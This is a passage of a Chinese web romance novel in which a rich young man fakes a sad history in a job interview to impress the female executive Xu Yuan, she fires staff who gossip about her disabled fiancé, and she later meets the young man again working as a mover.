妈的,好后悔啊!难怪古人都说书中自有颜如玉! 宋观鱼心情焦虑,却什么都做不了,只能笑,心里还是咯噔着。 “A国的大学,含金量不是很高。而且你学的还是艺术系,跟我们这个部门不搭界。”许愿沉吟道。 摆放在膝头的双手用力握成拳头,额角有汗珠冒出来,宋观鱼很慌,又没有办法为自己辩解。 难怪老宋常常说:“你不好好读书,将来总有一天会后悔。” 老宋说得对啊!宋观鱼现在就是悔!悔得肠子都青了! 他眼巴巴地看着许愿,许愿却不看他,还在那儿翻简历,于是他只能眼巴巴地看向王经理冲王经理使眼色。 王经理有被爽到,装模做样地咳了咳才说起好话:“艺术系严格来说在我们这个部门还是实用的。段老师不也说跟那些人交流不来,说不定来个学艺术的能跟上段老师的脑回路再给段老师点灵感。” 第272章 戏精 王经理的话其实是有点道理。 宋观鱼暗暗舒出一口气,拳头摊开,在膝盖上擦了擦,光洁的皮裤留下两团湿漉漉的汗迹。 “你上一份工作还是在两年前。”许愿抬眸看向宋观鱼,脸上没有一丝笑意:“你这么年轻,正是打拼的时候,为什么空了两年不出来工作?” 许愿锐利的目光扫过宋观鱼的穿着,都是便宜的潮牌,鞋子的漆皮都斑驳了也没舍得扔,看上去不像家境很好的样子。 家境不好还不工作,这就有些说不过去了。 叛逆,懒惰,这样的员工不好管理。许愿暗自摇头。 宋观鱼真想抹把脸,仰天长叹。 这两年他啥事没干,天天改装摩托车,完了约上一群狐朋狗友去人烟稀少的地方飙车。 他敢这么说吗?他要是真敢说,许愿就真敢把他刷掉! “我,”宋观鱼憋红眼眶,低下头去,嗓音沙哑,“我上一份工作闹得很不愉快,后来两年一直在调整状态。” 王经理和另外两名面试官互相看了看,表情都有些古怪。 在他们面前就是装逼装鬼,在许总面前眼眶红红,委屈巴巴。 妈的,宋少爷竟然有两幅面孔! “哦?上一份工作怎么了?”许愿对这些事非常敏感,眉头立刻皱紧。 “我上一份工作是在宋氏集团的一个工地当项目经理……” 不会真的要说自己喜欢男人的事吧,王经理眼睛都跟着瞪大了,这次特别“机警”的开口:“对我记得这小伙子说是因为自己喜欢男人才被人开除的,我就觉得这年头同性之间真的太难了,小伙子只是喜欢同性为什么就要遭受到异样的眼光被开除呢,他也没做错什么。” 另外两位面试官纷纷低头,痛苦捂脸。 不是?王经理以前也没这么蠢啊,是真没看出来宋少爷看上许总了在公孔雀开屏的散发魅力吗,这种时候冲上去告诉许总宋少爷喜欢同性,这不是在闹吗。 王经理可能是脑子里少了那根弦,压根没注意到宋观鱼骤然变黑的脸。 评论区已经在疯狂哈哈哈。 【救命为什么这么好笑。】 【鱼哥自己开口说自己喜欢男人的,这次王经理特别主动来邀功告诉许总我们鱼哥喜欢男人了。】 【很好很好,这样许总应该能对鱼哥放心了,鱼哥绝对不会对她产生什么不轨的心思了。】 但是宋观鱼脸是真黑了,他就这么直勾勾的看着王经理,王经理还谄媚的笑了笑邀功似的。 你妈啊! 谁让你胡说八道了! 可偏偏他确实是说过这话,一时之间宋观鱼都不知道王经理是真的蠢还是在故意报复他。 可都已经这样了,宋观鱼只能深吸了一口气,好半晌才开口:“是这样的……我……我喜欢男人,被顶头上司知道后,上司以为我喜欢他,在公司对我进行批评,那之后公司的人都在嘲讽我奚落我,说我是疯子是变态跟这个社会格格不入……”宋观鱼声音委屈巴巴的, 戏瘾上来了越演越像那么回事儿。 这事儿都已经被王经理挑开了,那就只能继续装了,不然还要留个爱撒谎的坏印象,更不好了。 “后来我就被分配到另一组,他们排挤我,让我晚上一个人去巡逻工地。” 其实根本不是这么回事儿,没有被排挤更没有被霸凌,是宋少爷单方面排挤霸凌公司其他人,大晚上的出去单纯就是睡不着瞎转悠。 宋观鱼可委屈的开口:“我当时没想到晚上会遇到一群人来偷东西,没想到之前同事跟一些人有了矛盾,那些人晚上带着附近村子的人来闹事。村里人一向很团结,在罪犯家属的煽动下跑到工地来闹事,一锄头打伤了我的工人。我当时就火了,冲上去跟他们干架,打伤了几个人。公司的上司就让我滚蛋了。” 其实是宋总觉得宋观鱼做事冲动怕他再受伤,所以让他回家养伤休息,“滚蛋”俩字更是没说。 许愿坐直身体,语气异常严肃:“这种情况很难判定是自卫还是伤人,一个闹不好,你自己都会搭进去。” 是的,一般人就搭进去了,但幸好宋观鱼不是一般人。 他父亲宋驰找齐了监控,证明不是他先动的手,又请了全国最好的律师来打官司。 最后案子判下来,宋观鱼属于正当防卫,还有救人情节,在看守所里待了几十天,终于出来了。 后来他不愿意再去上班,宋驰也没说什么。 就是最近这几个月,网络上接连发布了好几条视频,有几个超速骑摩托的网红撞死在路上,被宋驰看见了。 宋观鱼也挺疯的,再加上前阵子盛景炎也出了车祸撞断了双腿,宋驰也担心宋观鱼为此受伤,这才没收了他的摩托车,逼他出来上班,又怕他在工地上惹事,最近许愿风头正盛他就想着让宋观鱼来盛世先随便找个工作被带着。 这其中的弯弯绕绕,宋观鱼当然不可能告诉自家许愿。 他低下头,抹了把脸,语气十分沮丧:“我差点就搭进去了。要不是工地上安装了很多监控,可以证明我是无辜的,我就坐牢了。看守所里的饭菜真的很难吃,我在里面待了好几个月,再加上公司的人也都因为我性取向的问题不理我,我出来后就不敢联系其他人更不敢找工作了。” 他抬起头,露出一双微微带着恐惧和委屈的眼睛。 王经理和另外两位面试官真想站起来给宋少爷鼓掌。 演得真好啊! 宋少爷来他们盛世应聘文员真是屈才,应该去娱乐公司应聘演员才对! 奥斯卡小金人没宋少爷一座,他们第一个不答应! 许愿看着宋观鱼,她其实觉得这件事挺扯的,但是宋观鱼说起工地上的事情时眼底是真的有委屈,不像骗人,那段事是真的,只是喜欢同性那段多少有点扯,偏巧许愿也信了,甚至也可以理解。 “我可以理解。” 许愿转动着手中的钢笔开口:“以后做任何事都不要再这样冲动。” 第273章 你喜欢谁是你的自由 宋观鱼听到许愿的话立刻乖巧点头。 “还有,你喜欢男人或者女人那都是你的自由,任何人都没有权力干涉。” 这句话其实应该让人听了很感动的,奈何……宋观鱼他是真的不喜欢男人啊! 宋观鱼唇角跟着抽了抽,只能干笑,但是偏偏心里还是暖暖的。 许总真好。 许愿又简短的问了几个问题后直接问了收尾的问题。 “你期望的薪资是多少?” 大学刚毕业,得到第一份工作,为了保护别人却被关进看守所,经历了一场审判,又因为性向被大众抛弃不理解,人生因此沉寂两年。面对如此凄惨的一段经历,许愿不准备深挖下去。 他看着紫发青年,目光里带着温柔的抚慰。 宋观鱼的心被烫了一下,有些战栗,有些激动。许总真的好好!想要天天跟许总在一起! “你们随便给点就行了。”他可怜兮兮地眨着眼睛。 许愿:“……” 王经理等人:“……”真的有爽到! 直播间里的狐朋狗友:【没错,我们鱼哥是个讨饭的!】 【鱼嫂随便打发点。】 【我们鱼哥还可以带资上班,全部倒贴!】 许愿低下头,揉了揉眉心,啼笑皆非地问道:“随便给点是多少?” 宋观鱼认真想了想。 工地上煮饭的那个老婆婆,一个月工资是多少来着? “三,三千五?”他战战兢兢开口。 许愿有些诧异,不禁皱眉。 盛世的清洁员,工资都是五千,他的要求也太低了。 看见许愿脸色不好,宋观鱼连忙改口:“三千!三千就够了!我可以干很多活的!” 一个月三千,在A市就算租房都只能在郊区筒子楼交完房租连吃饭都要不够。 只有挣扎在社会底层的人,才会把期望值放低到这种程度。 许愿无法抑制自己的好奇心,问道:“你家里怎么有钱送你去留学?” 宋观鱼浑身一僵,立刻低头,语气里带着几分伤感:“那时候我爸还没破产。” 这又是一个悲惨的故事。 许愿点点头,不再追问,眼里没有怜悯,只有更加柔和温暖的微光。 她确实可以理解这些。 王经理等人:“……”宋总破产了?这个天大的消息稍后一定要分享给宋总本人才行! 【鱼哥,这么咒你爹不太好吧?】 【为了追人,鱼哥也是拼了!】 【不是鱼哥给自己塑造的人设真的有点惨兮兮的啊。】 “你的面试就到这里吧,稍后我们会给你发通知。”许愿合上简历,语气温和地说道。 宋观鱼僵硬地坐在椅子上,语气万分紧张,“我被录取了吗?” “录取名单要等所有人面试结束才能定下来,你先回去等消息吧。谢谢你的参与。”许愿略微颔首。 【完了,谢谢参与就是不录取的意思!】 【咱们刚到手的鱼嫂还没捂热乎就没了!】 【鱼哥不争气呀!】 【我们以后还能看到这么漂亮的天仙一样的鱼嫂吗呜呜呜】 直播间里一片哀嚎。 宋观鱼也很想哀嚎,却又怕给许愿留下不好的印象,只能乖乖站起来。 他脸色惨白,手撑着椅背,腿有些发软,定下心神之后才九十度鞠躬,狼狈万分地说道:“请你们给我一个机会,我以后一定努力工作!” 王经理和另外两个面试官已经爽上天了。 许愿越过桌子走上前冲他伸出手,像是要与他握手,宋观鱼立刻握住许愿的手,感受到许愿柔软的掌心,宋观鱼整个人顿住了。 “你还年轻,机会很多。研发部这边要求太高了,你录取的希望不大。我建议你去设计部那边试一试。这是我的名片,你带上名片去找经理,他可以给你安排一个合适的岗位。” 许愿安慰了几句把名片塞进宋观鱼掌心。 宋观鱼的心在滴血,偏偏又沉溺在许愿的温柔抚慰里,迷恋地无可自拔。 这种又痛又爽的感觉比飙车还过瘾。 他不要那些摩托车,他就要许总! 宋观鱼死死握住名片,没有继续纠缠。 他知道自己铁定是录不上了,卖惨一次可以换来同情,一直卖惨就太遭人烦了! “谢谢许总——” 许愿淡淡道:“去之前先把头发染回黑色,衣服穿好,别把纹身露出来。以后收收脾气,别太冲动。” “嗯嗯嗯。”宋观鱼一下一下点头,狭长的眼睛湿漉漉的,像一只被抛弃的大狗。 许愿看到他这副模样,其实想到了初遇温栩栩的时候,一时有些感触,但研发部确实不是谁都能进的,这地方不适合他。 最重要的是段星河的颜值她也担心宋观鱼看上段星河,到时再惹怒了段星河那就不好了。 “过去的事已经过去了,向前走吧。以后会好起来的。”许愿安慰几句。 【鱼嫂好温柔!我醉了!】 【鱼嫂人美心善,说话还好听!鱼哥你不行就换我上吧!】 【鱼哥快哭了!】 【你们是不是忘了,鱼哥的目的本来就是搞砸面试啊!】 宋观鱼拿下皮衣外套,慢慢走向门口,一步三回头,掌心里虚虚握着那张名片,生怕弄皱。 许总,我们还会再见面的!门合拢之前,他在心里暗暗发誓。 “王经理,休息五分钟,你们去上个洗手间吧。”许愿开口道。 “不用不用,继续面试吧。” “去吧,我等一等没关系。” “呃,那好吧。” 门开了,王经理和两个面试官走出来,不情不愿地去上厕所,满脸都是无法理解的表情。 宋观鱼回头看看他们,忍不住嗤笑一声。 这有什么不好理解的。 上完厕所洗手的时候,王经理就会发现,镜子里他的假发是歪的,像个鸡窝一样。 用这副尊容面试余下的应聘者,王经理哪还有面子可言? 许总真的太好了! 宋观鱼用力握拳,大步离去。 出了盛世总部大楼,他马上拿出手机,火急火燎地说道:“爸,你能把我安排在绅士研发部上班吗?能的话我保证我以后都不会胡闹了!绝对老老实实听话!” 第274章 我没有钱吗? 宋观鱼没看到的是,一名西装革履的黑衣助理推着轮椅即将进入盛世,似是看到宋观鱼,盛景炎垂下眼睫开口:“那个人有些眼熟。” 助理立刻回应:“是宋驰的儿子宋观鱼,说是看中了我们许总想让宋总进盛世,安排到许总身边想让许总多带带。” 宋驰的儿子,那个出了名的混不吝。 盛景炎饶有耳闻,往日这人的名声跟他的差不多,他是A市有名的混子,宋观鱼就是隔壁市出了名的混子。 “阿愿没有这个时间,去让人联系宋总回绝。” 助理有些为难:“宋总那边说新合同会让五个百分点。” 确实是大气。 盛景炎眸光暗了暗:“我没有钱吗?让人去回绝。” “好的盛总。” …… 宋观鱼毛走后,王经理等人去上厕所。 许愿留在会议室,翻了翻余下面试者的简历。 人事部的确补录了几十个人,都有数学、建模、制图、看图方面的专长。 宋观鱼的简历混杂在其中,没有什么猫腻,只是单纯运气好。 心里的疑虑打消了,许愿拿出手机,给设计部门的经理发了一条信息,简单说明情况。 【如果有合适的岗位,给他安排一下。】 【好的好的,我会留意的。安排一个普通文员是没问题的!】经理很快回复,态度十分热情。 许愿盯着手机屏幕看了一会儿,然后翻看其他简历。 数分钟后,王经理走进会议室,假发严丝合缝地贴在脑门上,满脸的不好意思。另外两个面试官憋着笑,表情古怪。 许愿淡淡的扫了几人一眼继续面试。被段星河叫走以后,许愿本可以安排另外一个面试官代替自己。 她急急忙忙赶回来,不过是想看一看容浔到底找了一个什么人来当“间谍”。 能被容浔那样心思深重的人选中安插到盛世,想来也是挺特别的。 耐心面试了十几个人之后,陆飞博终于推开门走进来,礼貌问好。 他的确很特别。 特别开朗、阳光、自信,每一个问题都回答得很好,有深度,有思想,还带着一点惹人喜欢的生涩。 与他交谈的时候,王经理等人总会不自觉地露出微笑。 纵使许愿怀着审视的心态坐在陆飞博对面,前后十几分钟,她竟也找不出不满意的地方。 “这个小伙子非常不错!” “口才好,思维敏捷,能力也强,就是少了一点工作经验。” “他实习成绩很好,经验应该积累了不少。可以培养看看。” “许总您怎么看?” 三位面试官齐齐看向许愿。 许愿点点头,把陆飞博的简历放到一旁。想来盛世当间谍,入场券她给了,她倒想看看陆飞博到底是多大的能耐。 面试结束,许愿推开会议室的门看到盛景炎,而推着轮椅的是苏逸。 许愿顿了下快步走过去。 “怎么不在家里好好休息?” 盛景炎开口道:“送苏逸来盛世,他说想先来研究院试一试,顺便来看一看你。” 许愿扬了扬眉:“哦,来看我是顺便?你是特地来送弟弟的?” 苏逸满脸为什么我都是你们py一环的表情,许愿忍俊不禁,盛景炎伸出手握住许愿的,很轻的动作揉捏了下。 “别闹。” 她果然不再闹了,眼尾弯弯的望着他。 “先送苏逸去研发部看看,我给他特地留了一间房看书学习,就在段星河休息室旁边。”许愿笑道:“有什么不懂的可以来问我,当然也可以随时去骚扰段星河。” 许愿当然是双手赞成苏逸去骚扰段星河的。 苏逸听出她画外音倒是没说什么,其实这话不需要许愿另说,许愿每天要忙着盛华盛世的工作偶尔还要参与一些项目研究没有更多时间,只有段星河,是个懒散闲人。 “我知道。” 研发部的员工因为许愿会议室上闹得那一出已经有些萎靡不振,全部都老老实实的做实验,只有为首的段星河没有人影儿。 段星河的首席助理看到来人先是顿了下,继而面上露出官方的微笑。 “段老师昨晚做研究太晚了所以还在休息,我这就去叫段老师起床。” 这话是告诉他们段星河昨晚上为了搞研究熬夜了所以才这么晚都没有起床。 “研发部所有区域都有摄像头,段星河昨晚熬夜做了什么需要我说给你听吗?刷剧玩游戏抽卡还抽空做了个3D小游戏,没有做任何跟本职工作相关的事。” 许愿微笑抱肩:“他现在在休息?我看是在熬夜玩游戏。” 段星河是真的有病,他玩的游戏还全部都是女孩子喜欢玩的抽卡游戏,卡都是满星的,许愿现在都搞不清楚段星河是怎么想的。 助理唇角都跟着抽了抽。 别说许愿不知道段星河怎么想的,他们也不知道段星河怎么想的啊! 助理尬笑,许愿却只是扫了他一眼,走到段星河休息室外对苏逸开口:“苏逸,开门。” 猜到段星河没做正经事,但这到底是段星河的个人休息室,她不好直接踹门只能等苏逸开门。 助理捏了捏眉心,也不拦了,许愿感觉奇怪,却见这扇门根本刷不开,输入密码也无法打开,很显然,段星河那混蛋改写了几串数据就是防备他们开门打扰他睡觉呢。 行,有时间改数据躲懒没时间做研究。 许愿只觉得额头的青筋都跟着一跳一跳的。 她后悔了。 宋观鱼一看就是个混不吝,她就该让宋观鱼进入研发部,宋观鱼不是喜欢男人吗,等宋观鱼喜欢上段星河,有的是段星河麻烦的。 许愿深吸一口气,身后的助理立刻将她的电脑取来。 “许总,已经打开电脑连接上了研发部的网络。” 许愿嗯了一声安排人给盛景炎和苏逸准备了点心热茶,自己则坐在沙发飞速敲击键盘突破段星河建立的防护墙,防护墙即将被突破时段星河似乎是反应过来重新建立新的防护墙,许愿嗤笑一声,二人你来我往,没有人注意到苏逸打开隔壁的房间门进去。 第275章 起床气 许愿感觉到段星河那边火力明显弱了,加速编写程序,下一秒段星河的休息室门被打开了。 段星河能这么快让她攻破防火墙? 怎么看段星河都不是那么懂事的人啊。 许愿轻微挑了下眉,就见房内,苏逸关了段星河电脑主机。 是的,许愿给苏逸安排的房间就在段星河隔壁,他直接跳窗过去的。 段星河正靠在沙发上吊儿郎当的叼着根烟,样子痞里痞气的 ,他也不着急生气,只是“呸”了一声将嘴巴里没点着的烟吐进一旁的垃圾桶内。 “这么大费周章的找我什么事儿?” 段星河揉了把眼睛,看来是真有点困倦,自己看还能看到他的黑眼圈。 “苏逸打算先来研发部,你带着他。” “呦,想清楚了?”段星河眼睛亮了下。 许愿关了页面重新搜索出几份资料发到苏逸的邮箱淡淡开口:“他不是早跟你讲过了,只在你这里待到成年就去做别的,你别想那些乱七八糟的。” 苏逸现在还小,如果能短时间内跟上他们的步伐不是不能研究点东西,许愿这是真的打算让苏逸来镀金呢。 段星河嗤了一声:“你当我来给你带孩子的保姆吗。” 许愿险些没忍住翻白眼的冲动,段星河愣了会儿神才终于清醒了,他冲了杯热茶,冰箱里面有昨晚备好的点心,他还挺爱吃甜食的,一口点心一口热茶的全吃完了才终于缓过劲儿了。 “你们大早上的不睡觉来我这里到底想干嘛。” 他有起床气,有点暴躁。 大早上? 许愿眼皮都跟着抽了抽。 上午九点开始她就在面试研发部的新人,中途说是段星河有事找她,其实是段星河的助理把她叫过去购买新设备,段星河从头到尾都没露面,等面完那些人现在已经临近十二点,段星河竟然还说“大早上”。 “段星河,你再好好看看时间,现在是大早上?” “你是不是忘了我们签了协议要在规定时间内研究出你说的抗癌的药物,你没忘吧。” 段星河又倒了杯热茶懒懒散散道:“没忘,我提取了那些药材的汁液做了研究,要等生成反应有点慢。” 段星河也不是真的混子,这些研究都是要花时间等的,不是只在研究所待着就能得到结果的,有时候可能灵机一动就能有新的研究方法,有些培养的细菌或者各类的菌群没有生成也只能等着。 他喝了口热茶觉得胸口都是暖的了,这才慢悠悠的将目光转到盛景炎身上。 他当然知道许愿的未婚夫就是盛景炎,这还是她第一次见到盛景炎,眼底都带着明显的凉意。 段星河明显将自己看作是许愿的长辈娘家人了,如今怎么看盛景炎怎么不顺眼。 唐青江能得苏青莲青睐那是唐青江值得,唐青江本身能力就在那里,他们是天造地设的一对儿,苏青莲就该配唐青江。 但盛景炎…… 除了那张脸和对许愿的真心,他还真挑不出什么优点。 “盛景炎是吧。” 段星河幽幽的开口,不等盛景炎开口许愿面色已经冷了,她垂眸声音都带着凉薄:“他是我的未婚夫,是以后要跟我共度一生的人。” “我又没说什么。”段星河懒懒散散的摆了下肩。 “你最好以后也不要说什么。”许愿望着他:“他是我自己选的人,没有人能为我做任何决定,我以后的爱人只会是他。” 她说的是谁? 内涵的是谁? 是苏青莲。 段星河听出来了,眼神微暗,却还是装作一副毫不在意的模样:“那是你的事,与我无关。” “姐,是我的错。” 苏逸终于忍不住开口,声音带着几分沙哑之意。 其实他一直没从那天车祸的噩梦中走出来。 对苏逸来说,盛景炎没什么不好的,他足够爱许愿,能将一切都交到许愿手中,作为一名男性来讲他很清楚盛景炎的心里都是许愿,盛景炎不会做出任何伤害许愿的事。 但是……如果作为许愿的弟弟,他又觉得许愿真的很优秀,她可以配得上世界上最优秀的男人,盛景炎已经断了腿,配不上她了。 可偏偏盛景炎的腿是为他断的,若非盛景炎当天让助理带他走为他引走那些人,说不定他没有命去参加高考。 所以很多话她说不出来的。 “你们要找真正的罪人吗,那应该是我。”许愿自嘲的勾起唇角。 “因为我得罪了傅长海,傅长海想要伤害我身边的人所以你们才会受伤。” “如果一定要这样论的话,是我害了你们,你们能明白吗。” 苏逸因为那场车祸而愧疚,许愿又何尝不是? 她在盛景炎和苏逸出事后一遍遍的告诫自己要撑住,不论如何她都会爱盛景炎,不会让盛景炎再出事,哪怕盛景炎的腿真的治不好她也会做这方面的研究让他重新站起来,重新做回天之骄子。 段星河眼瞅着气氛不对,尴尬的摸了摸鼻尖,默默的打开电脑传了一份数据到苏逸的邮箱。 “那什么,许愿你和盛景炎如果有事就先去忙,我给苏逸传了基础的资料。” 他现在也觉得自己欠了,提什么不好非要提那些他们都不喜欢的话题,这下好了,得罪了一群人。 许愿眼神淡漠的瞥了段星河一眼,段星河回以微笑。 许愿垂下眼睫推着盛景炎的轮椅离开研发部。 研发部的员工看到两人纷纷问好,只是见到许愿推着盛景炎众人面色各异,离远了都能听到那些人很小声的议论。 “那就是盛总吗?” “我记得许总的爱人就是盛世原来的总裁盛二少,听说盛二少因为车祸双腿都残了,不然总裁的位置也轮不到许总做啊。” “盛总是真的恋爱脑,资产股份一切都留给了许总。” “再真爱又有什么用,腿都残了,这辈子都不能跟正常人一样了,许总可以照顾他一个月两个月一年两年,但是时间再久点她还能坚持下去吗?” 第276章 我等你 “有句话怎么说的?久病床前无孝子,更不要说他们还不是有血缘关系的亲人,只是恋爱关系了。” “反正换我……我可能会因为那些资产高兴一段时间,但真让我照顾一辈子我真的受不了。” 一群人嘀嘀咕咕,他们以为自己声音很小,但其实能让许愿和盛景炎听得清清楚楚。 盛景炎面色平静,手掌却放在扶手上,逐渐握紧。 许愿的手也跟着紧了几分。 她听不得这些。 她转过身,目光冷冽锐利。 “你们几个去人事部递交辞呈,该有的赔偿我们盛世绝不会少。” 这种人,盛世留不得。 几人面面相觑,为首的人面色赤红。 “许总,我们……我们也没做错什么啊……” 领几个月赔偿离开盛世,他们疯了吗,盛世的工作轻松薪水还多,不知道多少人羡慕,他们可不愿意走。 “侮辱议论公司领导人还没有做错?”许愿声音冷淡:“你们老老实实离开不要多话我不会让人事在你们的离职表上写什么,如果你们不肯离开还要胡搅蛮缠,那我敢保证你们在A市找不到任何好工作。” 话音才落,几人面色都变黑了,却没敢再来阻拦许愿,只能尴尬的笑着。 回到车上,许愿还没有缓过来,她觉得自己胸口难受,像是一口气堵在这里,憋闷得厉害。 “你在生气吗。” 盛景炎握住她的手,声音中带着点无奈的笑。 “不必因为这种小事生气。” “你以为这是小事吗!”许愿忍不住的开口,声音都抬高了几分。 “他们都认为我会抛弃你。”许愿捧住盛景炎的脸,贴近他,漆黑的瞳眸此刻就这样望着他,甚至能看到他眼底属于自己的倒影。 “盛景炎,你这样好,我怎么可能会抛弃你呢。” 她不会抛弃盛景炎,就像盛景炎不会离开她一样。 “我知道。”盛景炎很轻微的叹息一声:“你维护我在意我,我很开心。” 他知道许愿对于这些太敏感了,他其实也没有安全感,但现在却还是会压下自己内心的悸动去安慰许愿,他不希望许愿难过。 许愿两条手臂抱住他的脖子,脸贴在他颊边,声音轻缓。 “盛景炎,你再等等我,等我安排好一些处理好一切,我会让你跟我求婚的。” 她这话说得真的很有意思。 不是盛景炎说我要向你求婚,也不是我要向你求婚,而是处理好一切他才可以求婚。 盛景炎眼睛都跟着弯起来。 他当然知道许愿是什么意思。 她说的处理好一切是处理好傅家和远程的事,等他站起来,她才允许他求婚,她想要让那群人看着,他们会结婚会幸福。 “好,我等你。” 他等着自己能重新站起来,他等着许愿带给他的奇迹。 …… …… 第二天,陆飞博顺利入职,许愿给他的职位就是最基础普通的文员。 毕竟是容浔安排来的人,她总要盯着点,看看这人到底是有多大的能耐。 许愿派遣了几个不难完成的任务。 写报告,统计数据,整理文件……陆飞博都是独立完成,又快又好。 别人加班到午夜都干不完的活儿,他总能准时准点完成。 似乎是为了搞好人际关系,他每天总会留下加班,帮别人干活。 半个月过去,他已经跟大家打成一片。所有人见了他都会露出热情的笑容,夸奖的话说个没完。 这让许愿想起了曾经念书时的自己也曾经有这么蠢的时候。 高中时期许愿也是这么做的。 别人干不完的活儿,她总会帮着干,以为这样就能拉近关系,融入集体。 但想错了。 一头老黄牛即使干再多活也永远不可能融入人类社会。 而当时的贵族高中,都是贵族,她不过是小家族的女儿,偏偏长了张令人嫉妒的面容,谁能允许她真的踏进贵族圈子呢? 她们就是将她看作可以随意使唤的老黄牛。 人类使唤老黄牛,这不算剥削,只是物尽其用,因为二者根本不是同一个物种。 把自己摆放在牲畜的位置上,得到的只能是牲畜的待遇。这就是人性。 许愿高中时期本是被许镇江安排念的贵族高中,但是处处被排斥,直到自己重读选了A市实验一高用成绩碾压了那群人,她再也不会像原来那样,却偏偏被吹成了高岭之花。 现在陆飞博选了这样做,许愿已经可以预见,陆飞博在这个部门里将会遭遇怎样的对待。 但许愿没有提醒。 每个人都在跟命运搏斗。当他们被打倒的时候,他们就会明白,下一次战斗应该用什么样的方式才能赢。 更何况,陆飞博是容浔选中的人,如果这样轻易的被人打倒,那容浔也太逊,而陆飞博也太没用。 现在的陆飞博还没有能力配让她花时间关注。 许愿很快就对陆飞博失去了兴趣,投入了忙碌的工作。 加班到晚上,许愿离开盛世。 不远处停着几辆大货车,许多工人在那边搬运货物。 这是盛世购置的新设备,许愿多看了两眼。 原本吵吵闹闹的人群看见许愿竟都不自觉放低音量,将帽檐往下压,安静又快速地干活。 漂亮的容貌可以吸引到很多人,然而颜值一旦超过某种界线,达到妖异的程度,就会对周围人施加一些压力或影响。 许愿退后几步,让开通道。 一个穿着蓝色制服的高大男子从车厢里跳出来,与两名同伴一起抬一个巨大的包装箱。 “慢点慢点!”同伴们有些慌乱。 “把车子挪过来一点。”高大男子命令道。 同伴用脚勾过一旁的推车,三人摇摇晃晃,勉勉强强,终于把箱子放上去。 “小宋你来推。”同伴说道。 “好。”高大男子握住把手,调转车头,抬眸一看,不由呆住。 推车停在原地半天不动。 “别看了。”同伴暗暗拽他一把,小声警告:“再看人家要不高兴了。看那穿着,看那气质,不是领导层就是哪家千金小姐,别多看几眼把人得罪了!” 第277章 许总是天使啊 这种明艳动人难以描述的美,叫人无法抗拒。走过路过,男的女的,都想多看几眼。 高大男子骤然回神,把推车让给同伴:“你推过去吧。” 同伴看看他涨红的脸,明白过来,打趣道,“怎么,不敢往人家身边走?你不走我走。” 高大男子把汗湿的掌心蹭在蓝色制服上,又抬了抬鸭舌帽的帽檐,眼睛直勾勾地看着那边。 他站在原地不敢乱动,生怕惊扰了不远处的那幅油画。 两名同伴打趣他几句,推着大箱子走了。 两人原本还说说笑笑,十分欢乐,路过许愿身边时却低下头,停止交谈,沉默走过。 许愿退开几步,盯着不远处的一棵树,并未着急离开。 高大男子把掌心的汗水蹭了又蹭,然后才转过身,对车厢里的两个同事说道:“给我一个箱子,我扛过去。” “剩下的箱子都很重,你扛不动。等他们把推车送过来,你用车子推。”同事摇头。 “我扛得动,给我。”高大男子戴上垫肩,语气坚决。 两个同事犹犹豫豫搬来一个箱子,男子一把接过,扛在肩头,转身看向不远处的许愿。 “嚯,真扛得动啊!这身肌肉没白长!”两名同事笑呵呵地打趣。 高大男子站在原地做了几个深呼吸,把帽子摘掉扔进车厢,这才大步走过去。 别人走到许愿面前总会低头消声,不敢多看。 男子走到近前时却故意提高音量:“借过,小心撞到你。” 许愿下意识地后退,没有焦距的目光凝注在忽然出现的高大男子身上。 英俊又野性的一张脸,像荒原中自由奔跑的狼,蓝色制服微微敞开,露出穿着紧身白T的壮硕胸膛。 汗液顺着脸颊滑落,沾湿喉结,浸在锁骨中。 许愿眸光微闪移开目光并未在他身躯上多看,瞥见他的脸时顿了下。 “宋观鱼?”她对这个人印象很深刻。 即使是娱乐圈也极难找出如此俊美的一张脸,她还记得那头紫毛,不过现在这人的头发已经染回黑色了。 “许总。”宋观鱼望着许愿,眼睛一眨不眨的望着她,仿佛只想多看几眼。 “你搬得动吗?”许愿仰头看向那个巨大的箱子,眼里满是惊异。 这批货箱都是运往研发部的,里面装着精密仪器,重量少说也有上百斤。别人都用推车推,唯独宋观鱼一个人扛,万一弄伤了腰怎么办? 许愿开口:“需要帮忙吗” “别别别,我搬得动。箱子很重,小心压到你。”宋观鱼连忙向前走了几步,避开许愿伸过来的双手。 “你看,我很轻松。”说着话的功夫,宋观鱼原地转了一圈,全方位地展示着自己强大的力量和健硕的身材。 明显又变成公孔雀在吸引异性了 许愿上下打量他,见他的确是很轻松的样子,这才露出几分微笑。 “你怎么不去设计部那边应聘?”许愿很快皱起眉头。 不管宋观鱼长得多高多壮,他以前好歹也是富家少爷,没应聘到文员的职务,最后反而当了搬运工,这种巨大的落差他怎么接受得了? 许愿松开眉头,目光柔和。 “那天我刚离开研发部就看见物流部在招人。我想着反正都是工作,干什么无所谓,就去应聘了。”宋观鱼解释道。 他不可能告诉许总,这份工作是他老爹安排的,目的是为了整他。只要能天天见到许总,别说当搬运工,就是送外卖当保安在门口站一天,他都愿意。 内心活动非常丰富的宋观鱼低下头,局促地说道:“物流部工资挺高的,一个月有一万块。” 许总,以后我每个月的工资都上缴给你! 宋观鱼抬起头,狼一般的狭长眼眸放射出奶狗一般清澈单纯的光。 许愿唇角微扬,忍不住低笑几声。 跟盛世那群老狐狸待在一起,许愿时时刻刻都很紧绷,不像此刻,是全然的轻松,没有一丝戒备。 “那你好好干,有空的时候学习一下物流方面的知识,以后争取当上管理层。搬运工总归是个力气活,不能干一辈子。” 许愿笑道:“快走吧,别把力气耗在这儿。” “好。”宋观鱼只得朝前走,一步一回头。 许愿也要回研发部,于是走在一旁,伸出一只胳膊,轻轻扶着那个巨大的货箱。 宋观鱼一步一挪地慢慢走,尽量拉长与许愿待在一起的时间,脑子里塞满各种念头,身体里充斥着用不完的力量。 “前面有推车,我帮你要过来。” 一个搬运工推着一个空车子走来,许愿立刻上前说明情况。 许愿其实对宋观鱼是有些同情的,不然她不会多关注她。 看到现在的宋观鱼无非是想到了高中时期的自己和曾经被排斥的温栩栩,有些共情了。 宋观鱼却想多了,他眸光颤动,眼角微湿,胸腔里热烘烘的一团。 许愿把车子推过来,请那个搬运工一起帮忙,卸下宋观鱼肩头的大货箱,放在推车上。 “谢谢师傅。”许愿冲搬运工微微一笑。 搬运工结结巴巴说着不谢,脸颊通红地走了。宋观鱼回头瞪那人一眼,看向许愿时却又露出腼腆的神色。 “这样就轻松多了。”许愿握住推车的把手。 宋观鱼也连忙握住把手,与许愿肩并肩一起朝前走。 “这种推车是不是太少了?我让后勤部给你们多准备几个。” 许总是天使吗?有许总在宋观鱼觉得自己干什么活儿都不会觉得累! 